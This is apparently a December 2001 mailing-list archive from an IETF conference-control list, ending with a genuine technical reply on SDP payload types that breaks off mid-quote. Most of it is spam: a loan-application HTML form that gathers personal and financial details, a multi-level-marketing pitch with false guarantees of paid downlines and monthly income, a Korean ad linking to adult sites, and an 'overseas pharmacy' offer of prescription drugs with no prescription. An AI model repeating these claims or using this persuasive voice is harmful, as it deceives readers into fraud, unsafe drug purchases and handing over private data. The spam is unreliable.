      <TABLE borderColor=#000000 height=186 cellSpacing=0 cellPadding=1 
      width=500 align=center bgColor=#99ccff border=1>
        <TBODY>
        <TR>
          <TD align=middle width=494 bgColor=#a5d1d1 colSpan=2 
            height=23><B><FONT face=Verdana size=2><FONT color=white><FONT 
            size=3>Loan Application</FONT> (Fields Marked with</FONT> <FONT 
            color=#ff0000 size=4>*</FONT></FONT><FONT face=Verdana color=#ff0000 
            size=4> </FONT><FONT face=Verdana color=white size=2>are 
            required)</FONT></B> </TD></TR>
        <TR>
          <TD width=251 bgColor=#a5d1d1 height=23><FONT face=Verdana 
            color=#ffffff 
            size=2><B>Prefix:</B>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
            <SELECT id=select1 tabIndex=1 name=zxPrefix> <OPTION value=Mr. 
              selected>Mr.</OPTION><OPTION value=Mrs.>Mrs.</OPTION><OPTION 
              value="Mr. and Mrs.">Mr. and Mrs.</OPTION><OPTION 
              value=Miss.>Miss.</OPTION><OPTION value=Dr.>Dr.</OPTION></SELECT> 
            </FONT></TD>
          <TD width=239 bgColor=#a5d1d1 height=23><B><FONT face=Verdana 
            color=#ffffff size=2>Name:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
            <INPUT id=text1 style="WIDTH: 125px; HEIGHT: 22px" tabIndex=2 
            size=16 value=" " name=zxreqFirst_Name></FONT><FONT face=Verdana 
            color=#ff0000 size=4>*</FONT></B></TD></TR>
        <TR>
          <TD width=251 bgColor=#a5d1d1 height=23><FONT face=Verdana 
            color=#ffffff size=2><B>Middle Name: &nbsp; <INPUT id=text2 
            style="WIDTH: 125px; HEIGHT: 22px" tabIndex=3 size=15 value=" " 
            name=zxMiddle_Name></B></FONT></TD>
          <TD width=239 bgColor=#a5d1d1 height=23><B><FONT face=Verdana 
            color=#ffffff size=2>Last Name: <INPUT id=text3 
            style="WIDTH: 125px; HEIGHT: 22px" tabIndex=4 size=15 value=" " 
            name=zxreqLast_Name></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT></B></TD></TR>
        <TR>
          <TD width=251 bgColor=#a5d1d1 height=23><B><FONT face=Verdana 
            color=#ffffff size=2>Address&nbsp;&nbsp;<INPUT id=text4 
            style="WIDTH: 168px; HEIGHT: 22px" tabIndex=5 value=" " 
            name=zxreqAddress></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT></B></TD>
          <TD width=239 bgColor=#a5d1d1 height=23><B><FONT face=Verdana 
            color=#ffffff 
            size=2>City:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<INPUT 
            id=text5 style="LEFT: 28px; WIDTH: 125px; TOP: 2px; HEIGHT: 22px" 
            tabIndex=6 size=14 value=" " name=zxreqCity></FONT><FONT 
            face=Verdana color=#ff0000 size=4>*</FONT></B></TD></TR>
        <TR>
          <TD width=251 bgColor=#a5d1d1 height=23><B><FONT face=Verdana 
            color=#ffffff size=2>State&nbsp;&nbsp;&nbsp;<SELECT tabIndex=7 
            size=1 name=zxreqState> <OPTION value=" "><OPTION 
              value=AL>Alabama<OPTION value=AK selected>Alaska<OPTION 
              value=AB>Alberta<OPTION value=AS>American Samoa<OPTION 
              value=AZ>Arizona<OPTION value=AR>Arkansas<OPTION value=AA>Armed 
              Forces Americas<OPTION value=AE>Armed Forces Europe<OPTION 
              value=AP>Armed Forces Pacific<OPTION value=BC>British 
              Columbia<OPTION value=CA>California<OPTION 
              value=CO>Colorado<OPTION value=CT>Connecticut<OPTION 
              value=DE>Delaware<OPTION value=DC>District Of Columbia<OPTION 
              value=FL>Florida<OPTION value=GA>Georgia<OPTION 
              value=GU>Guam<OPTION value=HI>Hawaii<OPTION value=ID>Idaho<OPTION 
              value=IL>Illinois<OPTION value=IN>Indiana<OPTION 
              value=IA>Iowa<OPTION value=KS>Kansas<OPTION 
              value=KY>Kentucky<OPTION value=LA>Louisiana<OPTION 
              value=ME>Maine<OPTION value=MB>Manitoba<OPTION 
              value=MD>Maryland<OPTION value=MA>Massachusetts<OPTION 
              value=MI>Michigan<OPTION value=MN>Minnesota<OPTION 
              value=MS>Mississippi<OPTION value=MO>Missouri<OPTION 
              value=MT>Montana<OPTION value=NE>Nebraska<OPTION 
              value=NV>Nevada<OPTION value=NB>New Brunswick<OPTION value=NH>New 
              Hampshire<OPTION value=NJ>New Jersey<OPTION value=NM>New 
              Mexico<OPTION value=NY>New York<OPTION 
              value=NF>Newfoundland<OPTION value=NC>North Carolina<OPTION 
              value=ND>North Dakota<OPTION value=MP>Northern Mariana Is<OPTION 
              value=NT>Northwest Territories<OPTION value=NS>Nova Scotia<OPTION 
              value=OH>Ohio<OPTION value=OK>Oklahoma<OPTION 
              value=ON>Ontario<OPTION value=OR>Oregon<OPTION 
              value=PW>Palau<OPTION value=PA>Pennsylvania<OPTION value=PE>Prince 
              Edward Island<OPTION value=PQ>Province du Quebec<OPTION 
              value=PR>Puerto Rico<OPTION value=RI>Rhode Island<OPTION 
              value=SK>Saskatchewan<OPTION value=SC>South Carolina<OPTION 
              value=SD>South Dakota<OPTION value=TN>Tennessee<OPTION 
              value=TX>Texas<OPTION value=UT>Utah<OPTION value=VT>Vermont<OPTION 
              value=VI>Virgin Islands<OPTION value=VA>Virginia<OPTION 
              value=WA>Washington<OPTION value=WV>West Virginia<OPTION 
              value=WI>Wisconsin<OPTION value=WY>Wyoming<OPTION value=YT>Yukon 
              Territory</OPTION></SELECT></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT></B></TD>
          <TD width=239 bgColor=#a5d1d1 height=23><B><FONT face=Verdana 
            color=#ffffff size=2>Zip Code:&nbsp;&nbsp;&nbsp;&nbsp;<INPUT 
            id=text6 style="LEFT: 69px; WIDTH: 125px; TOP: 2px; HEIGHT: 22px" 
            tabIndex=8 size=14 value=" " name=zxreqZip_Code></FONT><FONT 
            face=Verdana color=#ff0000 size=4>*</FONT></B></TD></TR>
        <TR>
          <TD width=251 bgColor=#a5d1d1 height=21><FONT face=Verdana 
            color=#ffffff size=2><B>Home Phone:&nbsp;&nbsp;&nbsp; <INPUT 
            id=text7 style="WIDTH: 125px; HEIGHT: 22px" tabIndex=9 size=16 
            value=" " name=zxHome_Phone> </B></FONT></TD>
          <TD width=239 bgColor=#a5d1d1 height=21><B><FONT face=Verdana 
            color=#ffffff size=2>Day Phone:&nbsp; <INPUT id=text8 
            style="WIDTH: 124px; HEIGHT: 22px" tabIndex=10 size=16 value=" " 
            name=zxreqDay_Phone></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT> </B></TD></TR>
        <TR>
          <TD width=251 bgColor=#a5d1d1 height=22><FONT face=Verdana 
            color=#ffffff 
            size=2><B>Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
            &nbsp;&nbsp; <INPUT id=text9 style="WIDTH: 127px; HEIGHT: 22px" 
            tabIndex=11 size=16 value=" " name=zxFax></B></FONT></TD>
          <TD width=239 bgColor=#a5d1d1 height=22><B><FONT face=Verdana 
            color=#ffffff 
            size=2>E-Mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <INPUT 
            id=text10 style="WIDTH: 125px; HEIGHT: 22px" tabIndex=12 size=16 
            value=" " name=zxreqE-Mail></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT></B></TD></TR></TBODY></TABLE>
      <TABLE borderColor=#000000 cellSpacing=0 cellPadding=1 width=500 
      align=center bgColor=#ffff99 border=1>
        <TBODY>
        <TR>
          <TD width=251 bgColor=#aeaeae><B><FONT face=Verdana color=#ffffff 
            size=2>Length At Present Address:<BR><INPUT id=text11 
            style="WIDTH: 37px; HEIGHT: 22px" tabIndex=13 size=4 value=" " 
            name=zxreqYears_At_Current_Address></FONT><FONT face=Verdana 
            color=#ff0000 size=4>*</FONT><FONT face=Verdana color=#ffffff 
            size=2> Years <INPUT id=text12 style="WIDTH: 37px; HEIGHT: 22px" 
            tabIndex=14 size=3 value=" " 
            name=zxMonths_At_Current_Address>&nbsp;Months</FONT></B> </TD>
          <TD width=239 bgColor=#aeaeae><B><FONT face=Verdana color=#ffffff 
            size=2>&nbsp;Amount&nbsp;Owed on 1st / % Rate:&nbsp;&nbsp; <INPUT 
            id=text14 style="WIDTH: 103px; HEIGHT: 22px" tabIndex=15 size=16 
            name=zxreqMoney_Owed></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT><FONT face=Verdana color=#ffffff size=2>&nbsp; 
            /&nbsp; <INPUT id=text15 style="WIDTH: 64px; HEIGHT: 22px" 
            tabIndex=16 size=10 value=" " 
            name=zxreqCurrent_Interest>%</FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT> </B></TD></TR>
        <TR>
          <TD width=251 bgColor=#aeaeae><FONT face=Verdana color=#ffffff 
            size=2><B>Amount&nbsp;Owed on 2nd / % Rate:&nbsp;&nbsp;<INPUT 
            id=text14 style="WIDTH: 103px; HEIGHT: 22px" tabIndex=17 size=16 
            name=zxMoney_Owed_2nd> /&nbsp;&nbsp; <INPUT id=text15 
            style="WIDTH: 64px; HEIGHT: 22px" tabIndex=18 size=10 value=" " 
            name=zxCurrent_Interest_2nd>%</B> </FONT></TD>
          <TD width=239 bgColor=#aeaeae><B><FONT face=Verdana color=#ffffff 
            size=2>Loan Type 1St / Loan Type 2nd:&nbsp;&nbsp;<SELECT id=select4 
            tabIndex=19 name=zxLoan_Type> <OPTION value=Fixed 
              selected>Fixed</OPTION><OPTION 
            value=Adjustable>Adjustable</OPTION></SELECT></FONT><FONT 
            face=Verdana color=#ff0000 size=4>*</FONT><FONT face=Verdana 
            color=#ffffff size=2>&nbsp;&nbsp; /&nbsp; <SELECT id=select4 
            tabIndex=20 name=zxLoan_Type_2nd> <OPTION value=Fixed 
              selected>Fixed</OPTION><OPTION 
            value=Adjustable>Adjustable</OPTION></SELECT> </FONT></B></TD></TR>
        <TR>
          <TD width=251 bgColor=#aeaeae><B><FONT face=Verdana color=#ffffff 
            size=2>Home Value:&nbsp;&nbsp;&nbsp;&nbsp; <INPUT id=text13 
            style="WIDTH: 117px; HEIGHT: 22px" tabIndex=21 size=18 value=" " 
            name=zxreqHome_Value></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT> </B></TD>
          <TD width=239 bgColor=#aeaeae><B><FONT face=Verdana color=#ffffff 
            size=2>Yearly&nbsp;Income:&nbsp;&nbsp;&nbsp; <INPUT id=text16 
            style="WIDTH: 97px; HEIGHT: 22px" tabIndex=22 size=14 value=" " 
            name=zxreqYearly_Income></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT> </B></TD></TR>
        <TR>
          <TD width=251 bgColor=#aeaeae><B><FONT face=Verdana color=#ffffff 
            size=2>Length of Current 
            Employment:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; <INPUT 
            id=text18 style="WIDTH: 37px; HEIGHT: 22px" tabIndex=23 size=4 
            value=" " name=zxreqYears_Of_Employment></FONT><FONT face=Verdana 
            color=#ff0000 size=4>*</FONT><FONT face=Verdana color=#ffffff 
            size=2><FONT color=#ff0000 size=4><FONT color=black 
            size=2>Years</FONT>&nbsp;&nbsp;&nbsp;</FONT>&nbsp;<INPUT id=text19 
            style="WIDTH: 36px; HEIGHT: 22px" tabIndex=24 size=4 value=" " 
            name=zxreqMonths_Of_Employment></FONT><FONT face=Verdana 
            color=#ff0000 size=4>*</FONT><FONT face=Verdana color=#ffffff 
            size=2>Months</FONT></B> </TD>
          <TD width=239 bgColor=#aeaeae><FONT face=Verdana color=#ffffff 
            size=2><B>Are You Self Employed?&nbsp; <SELECT id=select3 
            tabIndex=25 size=1 name=zxSelf_Employed> <OPTION value=No 
              selected>No</OPTION> <OPTION value=Yes>Yes</OPTION></SELECT> 
            </B></FONT></TD></TR>
        <TR>
          <TD width=251 bgColor=#aeaeae><FONT face=Verdana color=#ffffff 
            size=4><B><FONT size=2>Credit Rating:</FONT><SELECT id=select2 
            tabIndex=26 name=zxCredit_Rating> <OPTION value=Good>Good (some 
              lates)</OPTION><OPTION value=Excellent>Excellent (no 
              lates)</OPTION><OPTION value=Fair>Fair 
              (collection)</OPTION><OPTION value=Poor selected>Poor 
              (bankruptcy)</OPTION></SELECT></B></FONT> </TD>
          <TD width=239 bgColor=#aeaeae><B><FONT face=Verdana color=#ffffff 
            size=2>Amount Requested: <INPUT id=text17 
            style="WIDTH: 75px; HEIGHT: 22px" tabIndex=27 size=7 value=" " 
            name=zxreqAmount_Requested></FONT><FONT face=Verdana color=#ff0000 
            size=4>*</FONT> </B></TD></TR>
        <TR>
          <TD width=251 bgColor=#aeaeae colSpan=2><FONT face=Verdana 
            color=#ffffff size=2><B>What is the purpose of the loan?</B></FONT> 
          </TD></TR>
        <TR>
          <TD width=251 bgColor=#aeaeae colSpan=2><FONT face=Verdana 
            color=#ffffff size=2><TEXTAREA id=TEXTAREA1 style="WIDTH: 485px; HEIGHT: 57px" tabIndex=28 name=zxComments rows=4 cols=52></TEXTAREA></FONT></TD></TR>
        <TR>
          <TD align=middle width=494 bgColor=#aeaeae colSpan=2><FONT 
            color=#ffffff><INPUT id=submit1 style="WIDTH: 141px; HEIGHT: 33px" tabIndex=29 type=submit size=43 value="Submit Application" name=Submit1></FONT></TD></TR></TBODY></TABLE>
      <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
      <DIV><FONT face=Arial size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <IMG alt="" 
      hspace=0 src="http://www.prudential.com/images/banking/other/ehlicon1.gif" 
      align=baseline 
      border=0>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<IMG 
      alt=Realtor hspace=0 src="http://www.livehawaii.com/images/logo.gif" 
      border=0></FONT><FONT face=Arial 
      size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <IMG alt="" hspace=0 
      src="http://www.verisign.com/images/ui/007/verisign.gif" align=baseline 
      border=0></FONT><BR></DIV><EM><FONT face=Arial size=1></FONT></EM>
      <DIV><EM><FONT face=Arial size=1>c 2001, An independently owned and 
      operated member of <BR>The Prudential Real Estate Affiliates, 
      Inc</FONT></EM></DIV></FORM></TD></TR></TBODY></TABLE></P></BODY></HTML>


From confctrl-owner  Tue Dec 25 09:51:08 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA28367
	for confctrl-outgoing; Tue, 25 Dec 2001 09:51:08 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA28362
	for <confctrl@zephyr.isi.edu>; Tue, 25 Dec 2001 09:51:06 -0800 (PST)
Received: from yourwebsite.com (host-216-78-228-229.mco.bellsouth.net [216.78.228.229])
	by gamma.isi.edu (8.11.6/8.11.2) with SMTP id fBPHpkH16332
	for <confctrl@isi.edu>; Tue, 25 Dec 2001 09:51:51 -0800 (PST)
Message-Id: <200112251751.fBPHpkH16332@gamma.isi.edu>
Reply-To: gallagher_cornelius@hotmail.com
From: gallagher_cornelius@hotmail.com
To: confctrl@ISI.EDU
Subject: I was noticing your classified ad...
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Tue, 25 Dec 2001 12:51:46 -0500
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Dear fellow marketer

A few months back I joined a program and then...promptly forgot
about it. You may have done this yourself sometime...you intend
to work the program but then get caught in your day-to-day 
activities and it's soon forgotten.

The program was free to join so maybe I just didn't take it very
seriously.

Anyway, near the end of May I received a letter from my 
sponsor (Jim Henslin) informing me that I had more than 2000
PAID members in my downline!

As you can imagine, I was very skeptical. After all, how could I
have more than 2000 paid members under me in a program that
I had never promoted?

I took the time to check out the site...then wrote to Jim asking 
for confirmation that these were paid members and not just free
sign-ups...like me :]

Well, it was true...I had 2365 paid members in my downline. This
in a program that I had never worked!

All I had to do was upgrade to a paid membership before the end 
of the month and I would have my position locked in and a
downline of 2365 people.

You can bet I wasted no time in getting my membership upgraded!

I can tell you, if I had known what what was happening with this 
program, I would have become an active member months ago!

With this program, you will get a HUGE downline of PAID MEMBERS.
My sponsor's check, which is a minimum of $7000, arrives every
month...on time.

How would you like to lock your position in FREE while you check
out this opportunity and watch your downline grow?

Just join Post Launch;

To sign up simply reply to:  ngalsurf4@excite.com
Type in Subject:  Send my FREE Membership  (required)
Type in Letter:  Your First and Last Name  (required)
Your Email Address  (if different from above)

We will confirm your position and send you a special report
as soon as possible, also Your FREE Member Number.

This is a ONE TIME mailing - your name is already on our exclude list.

I'll get you entered and let you know how you can
keep track of your growing downline.

That's all there is to it. No obligation. No risk. Do it now!

I'll then send you info, and you can make up your own mind.

Warm regards
Neil Gallagher

P.S. After having several negative experiences with network
marketing companies I had pretty much given up on them.

This company is different--it offers value, integrity, and a
REAL opportunity to have your own home-based business...
and finally make real money on the Net.

Their revolutionary Vertical Integration plan is amazing and
GUARANTEES that you will have PAID members placed in your
downline.

Don't pass this up..you can sign up and test-drive the 
program for FREE. Just join Post Launch now for FREE.

You have nothing to lose and potentially a LOT to gain. Just do
it!
 



From confctrl-owner  Tue Dec 25 11:01:42 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA00833
	for confctrl-outgoing; Tue, 25 Dec 2001 11:01:42 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA00828
	for <confctrl@zephyr.isi.edu>; Tue, 25 Dec 2001 11:01:41 -0800 (PST)
Received: from localhost ([61.255.215.14])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBPJ2Vg16382
	for <confctrl@isi.edu>; Tue, 25 Dec 2001 11:02:32 -0800 (PST)
Message-Id: <200112251902.fBPJ2Vg16382@tnt.isi.edu>
Reply-To: dign6603@yahoo.co.kr
From: master<dign6603@yahoo.co.kr>
To: confctrl@ISI.EDU
Subject: [±¤°í]¸ÞÀÏ ¾ø¾Ö´Â ¹æ¹ý !!
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Wed, 26 Dec 2001 03:59:47 +0900
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<title>[±¤°í]¹®±¸°¡ µé¾î°£ ¸ÞÀÏÀ»  100% Â÷´ÜÇÏ´Â ¹æ¹ý !!</title>
<meta name="generator" content="Namo WebEditor v4.0">
</head>
<BODY text=black vLink=purple aLink=red link=blue bgColor=#f1f1bf>
<TABLE borderColor=#cc9933 cellSpacing=0 cellPadding=0 width=481 align=center
borderColorLight=#cc9933 border=4>
<TBODY>
<TR>
<TD width=471 height="612">
<TABLE cellSpacing=0 cellPadding=6 width=545 align=center
bgColor=#fce3cb><TBODY>
<TR>
<TD width=533 height=436>
<P align=center><B><FONT color=navy>[±¤°í]¹®±¸°¡ µé¾î°£ ¸ÞÀÏÀ» &quot;ÇÊÅ͸µ&quot;À¸·Î Â÷´ÜÇϴ¹ý
!!</FONT></B></P>
<P>ÄÄÀ» ¾Ë°í³ª¸é ½ºÆÔ¸ÞÀÏ °ÆÁ¤¾ÈÇÏ°í ¾ó¸¶µçÁö ¸ÞÀÏÀ» ÀÌ¿ëÇÒ ¼ö°¡ ÀÖÁö¿©~</P>
<P>À¥¸ÞÀÏ ¸Þ´ºÁß <FONT color=red>ȯ°æ¼³Á¤</FONT>À̳ª <FONT color=red>¿É¼Ç</FONT>¼±ÅÃÈÄ
- <FONT color=red>ÇÊÅ͸µ</FONT> ¶Ç´Â<FONT color=red> ÇÊÅͼ±ÅÃ</FONT>ÈÄ - &quot;<FONT color=red>±¤°í&quot;</FONT>¹®±¸¸¦
¼ö½Å°ÅºÎ¿¡ Ãß°¡ÇÏ¸é ´ÙÀ½ºÎÅÍ Á¦¸ñ¿¡ &quot;±¤°í&quot;¶ó´Â ¹®±¸°¡ µé¾î°£ ¸ÞÀÏ°ú ¿µ¿øÈ÷ À̺°À» ÇÒ ¼ö ÀÖ´ä´Ï´Ù..^^
&nbsp;&nbsp;&nbsp;(¿åÀ» Çϰųª ½Å°í¸¸À¸·Ð ÀüÇô È¿°ú°¡ ¾øÀ½)</P>
<P>¸ðµç À¥¸ÞÀÏ¿¡´Â ½ºÆÔÂ÷´Ü ±â´É¿Ü ½È¾îÇÏ´Â ¸ÞÀϸ¸ ¸·À» ¼ö ÀÖ´Â ±â´ÉÀÌ ÀÖÀ¸¸ç .. ¼ºÀÎ, ¼îÇÎ, CD, µ¿¿µ»ó
µî... ¹Þ±â½ÈÀº ³»¿ëÀÌ µé¾î°£ °Í¸¸ °ÅºÎÇÒ ¼öµµ Àִµ¥ Á¶±Ý¸¸ ½Å°æ¾²¸é [±¤°í]¸ÞÀÏ °ÆÁ¤ ¶Ò...!! °£´ÜÇÏÁÒ...^
^</P>
<p>¸¸¾à Á¦¸ñ¿¡ [±¤°í]¶ó´Â ¹®±¸°¡ ¾ø´Ù¸é º»¹®¿¡ &quot;<font color="red">¼ö½Å°ÅºÎ</font>&quot;¶õ
¹®±¸¸¦ ÇÊÅ͸µÀ¸·Î Çغ¸¼¼¿ä ±×·³ ±¤°í¸ÞÀÏÀº ¸ø µé¾î¿À°í
ÈÞÁöÅëÀ¸·Î »ç¶óÁý´Ï´Ù<br>&nbsp;(Áï ±¤°í¸ÞÀÏÀº º»¹®¿¡
&quot;¼ö½Å°ÅºÎ¸¦ ÇØÁÖ¼¼¿ä µî... Á˼ÛÇÕ´Ï´Ù µîÀÇ ¹®±¸°¡
ÀÖÀ¸´Ï ±× ¹®±¸¸¦ Æ÷ÇÔÇÑ °ÍÀº ¸ðµÎ ¸·¾Æ ÁÝ´Ï´Ù )</p>
<P>»õ·Î¿î µµ¸ÞÀÎ µî·Ï¾È³»...¹ÙÀÌ·¯½º °æ°í¾È³»...»õ·Î¿î ½Å»óÇ°À» ½Ñ °¡°Ý¿¡ ±¸ÀÔÇÒ ¼ö ÀÖ´Â
¼îÇθô...°ü±¤¾È³»...Çпø¾È³»...°¢Á¾Á¤º¸ ¼Ò½ÄÁö...¼ºÀÎ...<BR>µî...±× ¸ðµÎ¸¦ [±¤°í]¶ó°í ÇÏÁö¿ä~</P>
<P>±×¸®°í ¼ö½ÅÀÚµéÁß 60%°¡ ±¤°í¸ÞÀÏ¿¡ ÀÇÇØ ¼ö¸¹Àº Á¤º¸¸¦ ¾ò´Â´Ù°í ÇÕ´Ï´Ù, ¼ö¸¹Àº ±¤°íµé Áß ²À ±× Á¤º¸¸¦ ÇÊ¿ä·Î
ÇÏ´Â ºÐµµ °è½Ã´Ù´Â »ç½Ç ¶§¹®¿¡ ±¤°í´Â Á¸ÀçÇÏ´Â °ÍÀÔ´Ï´Ù</P>
<P>±×¸®°í ÀÌ ¾î·Á¿î ½Ã´ë¿¡ »ì¾Æ³²±â À§ÇØ ¸öºÎ¸²Ä¡´Â ºÐµéÀ» À§ÇØ ÀÚ±âÁý ¹®´Ü¼ÓÀ» ÇÏ´ÂÀǹ̿¡¼­ [±¤°í] ÇÊÅ͸µ
¼±ÅÃÇϽÉÀÌ ¾î¶³·±Áö¿ä~~<br>±¤°íÁֵ鵵 ´õºÒ¾î »ì¾Æ°¡´Â »ç¶÷µéÀ̴ϱî¿ä</P>
<P>±¤°í¸¦ ¿øÇϽô ºÐ¸¸ º¸±â¸¦ ¹Ù¶ó´Â ¸¶À½¿¡¼­...^^</P></TD></TR>
<TR>
<TD width=533 bgColor=#ebcb8a height="17">
<P align=center><FONT
size=2><A href="http://www.xxxkorea.jp?pip=tvphp"
target=_blank><B>Ãßõ ¼ºÀλçÀÌÆ® Ŭ¸¯</FONT></B></A></P></TD></TR>
<TR>
<TD width=533 bgColor=#ebcb8a height="64">
<p align="center"><a href="http://www.livestrip.co.kr/index.asp?from_in=backgrou" target="_blank">
<img src="http://www.livestrip.co.kr/partner/images/banner/livestrip16.gif" border="0" ></a></p>
</TD></TR>
</TBODY></TABLE></TD></TR></TBODY></TABLE>
<P align=center>&nbsp;- ÃÖÈÄÀÇ Èñ¸ÁÀº ±àÁ¤ÀûÀÎ »ç°í¹æ½Ä ±×¸®°í »ç¶û... -</P>
</BODY>
</html>

From confctrl-owner  Tue Dec 25 20:10:07 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA17719
	for confctrl-outgoing; Tue, 25 Dec 2001 20:10:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA17707
	for <confctrl@zephyr.isi.edu>; Tue, 25 Dec 2001 20:10:05 -0800 (PST)
Received: from yourwebsite.com (24-148-63-28.na.21stcentury.net [24.148.63.28])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBQ4Aug12302
	for <confctrl@isi.edu>; Tue, 25 Dec 2001 20:10:56 -0800 (PST)
Message-Id: <200112260410.fBQ4Aug12302@tnt.isi.edu>
Reply-To: customerservice@overseaspharmacyguide.com
From: customerservice@overseaspharmacyguide.com
To: confctrl@ISI.EDU
Subject: As Seen On 20/20
Mime-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Date: Tue, 25 Dec 2001 22:11:25 -0600
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 <font color="red"><b><ul><hr>As Seen On 20/20 And NBC Nightly News....</font>
<hr>
 <li>Save 50 to 75% On All Of Your Prescription Drugs....</li>
 <li>No Rx Needed....</li>
 <li>No Doctors Visit Needed....</li>
 <li>Up To 3 Month Supply is 100% leagle....</li>
 <li>Please See Our Short Viedo....(Click On Blue Link)</li>
 <a href="http://www.myimpactengine.com/personal-trial/view/show.asp?vid=122020011745357933101"</a>
 <li>Click Here For Our Short Video</a>
 <hr>
 <li>WWW . Overseas Pharmacy Guide . Com
 <hr>
</b>
</ul>
<a href="http://overseaspharmacyguide.com">Click Here For Web Page</a>
<li><b>Our Guide Is The Lowest Price On The Internet Only $11.99</li>
<li>GUERENTEED</li>
</b>

From confctrl-owner  Wed Dec 26 07:21:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA08931
	for confctrl-outgoing; Wed, 26 Dec 2001 07:21:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA08926
	for <confctrl@zephyr.isi.edu>; Wed, 26 Dec 2001 07:21:10 -0800 (PST)
Received: from mail3.dynamicsoft.com ([63.113.44.69])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBQFM1g10688
	for <confctrl@isi.edu>; Wed, 26 Dec 2001 07:22:01 -0800 (PST)
Received: from dynamicsoft.com ([63.113.46.89])
	by mail3.dynamicsoft.com (8.12.1/8.12.1) with ESMTP id fBQFLDVZ002700;
	Wed, 26 Dec 2001 10:21:13 -0500 (EST)
Message-ID: <3C29EAC8.6040504@dynamicsoft.com>
Date: Wed, 26 Dec 2001 10:20:40 -0500
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: "Paul E. Jones" <paulej@packetizer.com>
CC: Flemming Andreasen <fandreas@cisco.com>, MMUSIC <confctrl@ISI.EDU>,
        mmusic@ietf.org
Subject: Re: [MMUSIC] Why must PT be the same in send and receive directio	n ?
References: <012c01c189e7$a4afcd40$63a86840@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In the interests of cooperation and forward progress, here is a proposal.

The spec states that the answerer MUST use the same PT in forward and 
reverse directions, but that in some interworking cases when the 
answerer is a gateway, it is not possible to meet this. Therefore, the 
offerer SHOULD be prepared to see different dynamic PT in the answer.


I will note that proposals like this (sender MUST NOT do something, but 
receiver MUST be prepared to handle it anyway) have led to 
interoperability issues in the past. Thus, if we take this route, we 
must do so cautiously, providing sufficient motivation for people to 
understand why this was done.

I'd like to see some inputs from implementors on the burden of 
supporting different PT in forward and reverse directions....

-Jonathan R.


Paul E. Jones wrote:

> Flemming and Jonathan,
> 
> I think the reason that the symmetry of PTs has not been an issue up to
> this
> point are two-fold:
>   1) Interworking between H.245 and SDP-based systems has had less focus
>   2) There have previously been few dynamic PTs used within H.245
>      for which people have tried to interwork with SDP-based
>      (Of course, they are used, but few people have cared about whether
>       those PTs being used worked with SDP-based systems or not.  I
> believe
>       the first problem encounter that is of concern is the interworking
>       of RFC 2833.)
> 
> As we look at new codec types and the exchange of other signaling that
> rely
> on dynamic payload types, the H.323/SDP interworking problems in this
> area
> are forcing us to take note of the issues here.
> 
> Within H.323, it is possible to exchange PTs in two ways:
>   1) In the Setup message, and endpoint may propose "forward"
>      and "reverse" audio/video/data channels and include the
>      dynamic payload types
>   2) The PTs might be conveyed through H.245 capabilities exchange
>      (which is asymmetrical by nature)
> 
> In either case, it is possible to have asymmetric usage of payload
> types.  I
> would suspect that in most cases, endpoint vendors who use (1) will
